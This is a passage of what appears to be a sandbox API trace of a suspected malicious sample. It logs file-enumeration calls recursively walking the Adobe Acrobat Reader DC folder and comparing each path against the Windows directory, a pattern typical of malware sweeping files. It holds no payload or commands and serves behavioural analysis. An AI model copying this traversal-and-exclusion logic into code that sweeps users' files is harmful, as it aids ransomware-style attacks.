lpFindFileData=0x396f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1758800, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1abe0524, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe1758800, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x134b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrofx32.dll", cAlternateFileName="")) returned 1 [0256.901] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4121050 | out: hHeap=0x670000) returned 1 [0256.901] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x396f308 | out: lpFindFileData=0x396f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37a46528, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x152a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="arh.exe", cAlternateFileName="")) returned 1 [0256.904] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0256.904] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x396f08c | out: lpFindFileData=0x396f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18d7a4f3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xdaa61867, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdaa61867, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WCChromeExtn", cAlternateFileName="WCCHRO~1")) returned 0 [0256.904] FindClose (in: hFindFile=0x6cf6c8 | out: hFindFile=0x6cf6c8) returned 1 [0256.904] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4121050 | out: hHeap=0x670000) returned 1 [0256.905] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x396f308 | out: lpFindFileData=0x396f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec3e62f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x35200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccme_asym.dll", cAlternateFileName="CCME_A~1.DLL")) returned 1 [0257.171] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0257.171] FindNextFileW (in: hFindFile=0x6cfa48, lpFindFileData=0x396f08c | out: lpFindFileData=0x396f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3626e649, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362948a6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ENU", cAlternateFileName="")) returned 0 [0257.171] FindClose (in: hFindFile=0x6cfa48 | out: hFindFile=0x6cfa48) returned 1 [0257.171] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4121050 | out: hHeap=0x670000) returned 1 [0257.171] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x396f308 | out: lpFindFileData=0x396f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b83e876, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x1b83e876, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1b83e876, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Javascripts", cAlternateFileName="JAVASC~1")) returned 1 [0257.171] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4121050 | out: hHeap=0x670000) returned 1 [0257.171] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x396f308 | out: lpFindFileData=0x396f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf981782, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xbc1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JP2KLib.dll", cAlternateFileName="")) returned 1 [0257.172] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0257.172] FindNextFileW (in: hFindFile=0x6cfd08, lpFindFileData=0x396f08c | out: lpFindFileData=0x396f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x362483dd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362483dd, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ENU", cAlternateFileName="")) returned 0 [0257.172] FindClose (in: hFindFile=0x6cfd08 | out: hFindFile=0x6cfd08) returned 1 [0257.172] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4121050 | out: hHeap=0x670000) returned 1 [0257.172] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x396f308 | out: lpFindFileData=0x396f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cfcd37, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Locale", cAlternateFileName="")) returned 1 [0257.172] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0257.172] FindNextFileW (in: hFindFile=0x6cfd08, lpFindFileData=0x396f08c | out: lpFindFileData=0x396f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389c5d29, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en_US", cAlternateFileName="")) returned 0 [0257.172] FindClose (in: hFindFile=0x6cfd08 | out: hFindFile=0x6cfd08) returned 1 [0257.173] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4121050 | out: hHeap=0x670000) returned 1 [0257.173] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x396f308 | out: lpFindFileData=0x396f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1fa1b97a, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x62050, dwReserved0=0x0, dwReserved1=0x0, cFileName="logsession.dll", cAlternateFileName="LOGSES~1.DLL")) returned 1 [0257.174] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0257.174] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342cca47, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x342f2cdf, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMP", cAlternateFileName="")) returned 0 [0257.174] FindClose (in: hFindFile=0x6cf988 | out: hFindFile=0x6cf988) returned 1 [0257.174] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0257.174] FindNextFileW (in: hFindFile=0x6cfd08, lpFindFileData=0x396f08c | out: lpFindFileData=0x396f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe024c29f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xcb0e63, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AcroForm.api", cAlternateFileName="")) returned 1 [0257.174] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0257.174] FindNextFileW (in: hFindFile=0x6cfa48, lpFindFileData=0x396eb94 | out: lpFindFileData=0x396eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1b772, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Words.pdf", cAlternateFileName="")) returned 1 [0257.175] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0257.175] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38979854, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38979854, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stamps", cAlternateFileName="")) returned 0 [0257.175] FindClose (in: hFindFile=0x6cf988 | out: hFindFile=0x6cf988) returned 1 [0257.175] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0257.175] FindNextFileW (in: hFindFile=0x6cfd08, lpFindFileData=0x396f08c | out: lpFindFileData=0x396f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfdd3bd7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x71bc63, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Annots.api", cAlternateFileName="")) returned 1 [0257.175] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0257.175] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3425a337, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x1bbd210b, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1bbd210b, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP", cAlternateFileName="")) returned 0 [0257.176] FindClose (in: hFindFile=0x6cfd48 | out: hFindFile=0x6cfd48) returned 1 [0257.176] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0257.176] FindNextFileW (in: hFindFile=0x6cfd08, lpFindFileData=0x396f08c | out: lpFindFileData=0x396f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfc5641f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x179063, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Multimedia.api", cAlternateFileName="MULTIM~1.API")) returned 1 [0257.176] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0257.176] FindNextFileW (in: hFindFile=0x6cfd08, lpFindFileData=0x396f08c | out: lpFindFileData=0x396f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe05dfab0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x6edc63, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PPKLite.api", cAlternateFileName="")) returned 1 [0257.176] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4121050 | out: hHeap=0x670000) returned 1 [0257.225] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x396f308 | out: lpFindFileData=0x396f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34102da0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdfc09f77, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdfc09f77, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plug_ins3d", cAlternateFileName="PLUG_I~1")) returned 1 [0257.226] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0257.226] FindNextFileW (in: hFindFile=0x6cfd08, lpFindFileData=0x396f08c | out: lpFindFileData=0x396f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfbe3d1f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x2437f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="prcr.x3d", cAlternateFileName="")) returned 1 [0257.227] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4121050 | out: hHeap=0x670000) returned 1 [0257.227] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x396f308 | out: lpFindFileData=0x396f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37adee54, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="pmd.cer", cAlternateFileName="")) returned 1 [0257.842] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4121050 | out: hHeap=0x670000) returned 1 [0257.842] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x396f308 | out: lpFindFileData=0x396f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19218da3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x19218da3, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x19218da3, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIThemes", cAlternateFileName="")) returned 1 [0258.659] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4121050 | out: hHeap=0x670000) returned 1 [0258.659] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x396f308 | out: lpFindFileData=0x396f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37b050b7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x42a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ViewerPS.dll", cAlternateFileName="")) returned 1 [0259.929] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0259.929] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 1 [0259.930] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0259.930] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 0 [0259.930] FindClose (in: hFindFile=0x6cfdc8 | out: hFindFile=0x6cfdc8) returned 1 [0259.930] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0259.930] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x396e69c | out: lpFindFileData=0x396e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0 [0259.930] FindClose (in: hFindFile=0x6cfd88 | out: hFindFile=0x6cfd88) returned 1 [0259.930] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0259.931] FindNextFileW (in: hFindFile=0x6cfe48, lpFindFileData=0x396e918 | out: lpFindFileData=0x396e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="core", cAlternateFileName="")) returned 1 [0259.932] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0259.932] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 1 [0259.932] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0259.932] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 0 [0259.933] FindClose (in: hFindFile=0x6cfdc8 | out: hFindFile=0x6cfdc8) returned 1 [0259.933] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4280fb8 | out: hHeap=0x670000) returned 1 [0259.933] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x396e69c | out: lpFindFileData=0x396e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0 [0259.933] FindClose (in: hFindFile=0x6cfd88 | out: hFindFile=0x6cfd88) returned 1 [0259.933] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0259.933] FindNextFileW (in: hFindFile=0x6cfe48, lpFindFileData=0x396e918 | out: lpFindFileData=0x396e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="files", cAlternateFileName="")) returned 1 [0259.934] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0259.934] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 1 [0259.934] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\libs") returned 102 [0259.934] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\libs") returned 1 [0259.934] lstrlenW (lpString="libs") returned 4 [0259.934] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="libs") returned -1 [0259.934] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4235db0 [0259.934] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\libs") returned 102 [0259.934] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\libs\\*", lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x6cf6c8 [0259.934] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0259.934] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0259.934] FindClose (in: hFindFile=0x6cf6c8 | out: hFindFile=0x6cf6c8) returned 1 [0259.935] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0259.935] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 0 [0259.935] FindClose (in: hFindFile=0x6cfdc8 | out: hFindFile=0x6cfdc8) returned 1 [0259.935] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4280fb8 | out: hHeap=0x670000) returned 1 [0259.935] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x396e69c | out: lpFindFileData=0x396e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, 